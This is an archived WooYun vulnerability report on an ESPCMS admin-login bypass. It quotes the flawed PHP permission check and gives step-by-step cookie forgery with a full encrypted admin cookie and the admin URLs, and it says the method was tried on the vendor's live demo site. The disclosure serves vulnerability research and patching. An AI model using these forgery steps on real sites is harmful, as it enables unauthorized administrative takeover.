当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-78329

漏洞标题: ESPCMS 权限限定绕过直接登录后台(DEMO站测试通过)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: JJ Fly

提交时间: 2014-10-08 10:59

公开时间: 2015-01-06 11:00

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-08: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-02: 细节向核心白帽子及相关领域专家公开
2014-12-12: 细节向普通白帽子公开
2014-12-22: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

ESPCMS 权限限定绕过直接登录后台
仅测试了 最新版本
然后demo测试进去看了一眼,别的什么也没做。

详细说明:

先看下 后台验证的代码

code 区域
function softbase($admin_purview = false) {
header("Content-Type: text/html; charset=utf-8");
$this->dbmysql();
$this->commandinc();
$this->systemfile();
$this->cachedb();
if ($admin_purview) {
$this->admin_purview();
$this->sitelng = $this->getlng();
$action = $this->fun->accept('action', 'R');
if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {
exit('Permissions errors');
}
}
if ($this->CON['is_gzip'] == 1 && !function_exists('ob_gzhandler')) {
ob_start('ob_gzhandler');
} else {
ob_start();
}
if ($runpage && $this->CON['is_close']) {
exit($this->CON['close_content']);
}
if (!admin_FROM) {
include admin_ROOT . adminfile . '/include/admin_language_' . db_lan . '.php';
$this->lng = $ST;
unset($ST);
} else {
$lngpack = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
if ($this->creat_lanpack($lngpack)) {
include admin_ROOT . 'datacache/' . $lngpack . '_pack.php';
}
$this->lng = $LANPACK;
$runpage = true;
}
}



调用了下面的函数。

$this->admin_purview();

然后继续查看代码

code 区域
function admin_purview() {
if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = false;
} else {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = true;
}
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;
$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);
if ($gettype) {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {

$condition = 0;
} else {
$condition = 1;
}
} else {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else {
if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}
}



然后重点验证的是下面的代码

code 区域
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)



$this->esp_username和$this->esp_adminuserid 可以在cookies中伪造。

而后面的 两个常量如下

code 区域
admin_AGENT
define('admin_AGENT', $_SERVER['HTTP_USER_AGENT']);
admin_ClassURL
define('admin_ClassURL', 'http://' . $_SERVER['HTTP_HOST'] . substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')) . '/');



可见,可进行伪造。





再来说下查看key

直接可以看索马里大牛的http://**.**.**.**/bugs/wooyun-2010-062528

这里就不多说了。

来张截图进行下示例。

图片1.png



出来之后 然后挨个进行 加密解密测试。

最终可以得出key

漏洞证明:

下面我们开始伪造

cookies中ecisp_admininfo的加密前值如下。

code 区域
1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)



下面我拿测试用的agent和classurl进行演示



Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0

加密之后

efdd8e8dfc89de8875254f2e96f2eeb2



**.**.**.**/adminsoft

加密之后

962c6fbd63e97c6d6db74449a6bef874



password不进行验证,随便输入个wooyun

加密之后

fbb204a4061ffbd41284a84c258c1bfb



然后填充进去

code 区域
1|admin|fbb204a4061ffbd41284a84c258c1bfb|efdd8e8dfc89de8875254f2e96f2eeb2|1|1|962c6fbd63e97c6d6db74449a6bef874



加密

code 区域
Zq-XmKLPoa3LlJWUYpqVbWecaJybxspoZWRtZ5dsacllZp2VZMSYyLCencqbbpqcypqXam6Xm2xtnWhjmmaZlJefap9py5yYZ-CXsGWubmlol2vMlZWbZZibaclqnW3KmW1pmJptlWiXmJxsbJo



然后我们可以得出cookies的设定值

ecisp_admininfo 设定为

Zq-XmKLPoa3LlJWUYpqVbWecaJybxspoZWRtZ5dsacllZp2VZMSYyLCencqbbpqcypqXam6Xm2xtnWhjmmaZlJefap9py5yYZ-CXsGWubmlol2vMlZWbZZibaclqnW3KmW1pmJptlWiXmJxsbJo

esp_powerlist 设定为 all 的加密lp-i

managementloglistpgid 设定为0

managementmangerlistpgid 设定为0



开始进行伪造管理员

我们先打开

code 区域
**.**.**.**/adminsoft/index.php



这个页面 然后开始填充cookies

图片2.png



然后访问下面的url

code 区域
**.**.**.**/adminsoft/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter



图片3.png





好了下面我们来说下demo的

先注册个帐号。

图片4.png



然后 翻来覆去 获得key

b16dd02887<马赛克>eabab<马赛克>

然后我们访问

code 区域
http://**.**.**.**/adminsoft



再生成cookies

访问

code 区域
http://**.**.**.**/adminsoft/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter



图片5.png

修复方案:

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-08 14:53

厂商回复:

感谢您的提供,我们会对系统进行相关修复。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-08 11:09 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    你关注的白帽子 JJ Fly 发表了漏洞 ESPCMS 权限限定绕过直接登录后台(DEMO站测试通过)

  2. 2014-10-08 11:48 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 冰眼信息科技安全研究院)
    0

    @玉林嘎 大牛你好。

  3. 2014-10-08 12:18 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    @JJ Fly 小菜一个

  4. 2014-10-08 12:41 | neal ( 普通白帽子 | Rank:219 漏洞数:23 )
    0

    之前的加密算法一直没改 我还能进呢,如果是加密的问题 我都不好意思发

  5. 2014-10-08 12:57 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    如果不是算法的话 是挺好的。

  6. 2014-10-08 14:16 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 冰眼信息科技安全研究院)
    0

    @neal 大牛你好,我是小菜。这个漏洞跟加密算法有一定关系,key可被逆向这个大家都知道,但是还有他后台权限限制有缺陷,可被绕过的问题。如果你们之前都知道的话,那我这就算是给厂商提下醒吧。

  7. 2014-10-08 14:16 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 冰眼信息科技安全研究院)
    0

    @′ 雨。 雨神你好。初学审计,还望指点。。。。

  8. 2015-01-06 20:53 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)
    1

    demo 没有搞懂。

  9. 2015-01-06 21:05 | JJ Fly ( 普通白帽子 | Rank:317 漏洞数:59 | 冰眼信息科技安全研究院)
    1

    @Mxx 主要就是为了满足这句 if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)

  10. 2015-01-06 21:21 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)
    1

    @JJ Fly 虽然没搞懂,但是谢了,起码回复我我这种菜鸟。

登录后才能发表评论,请先 登录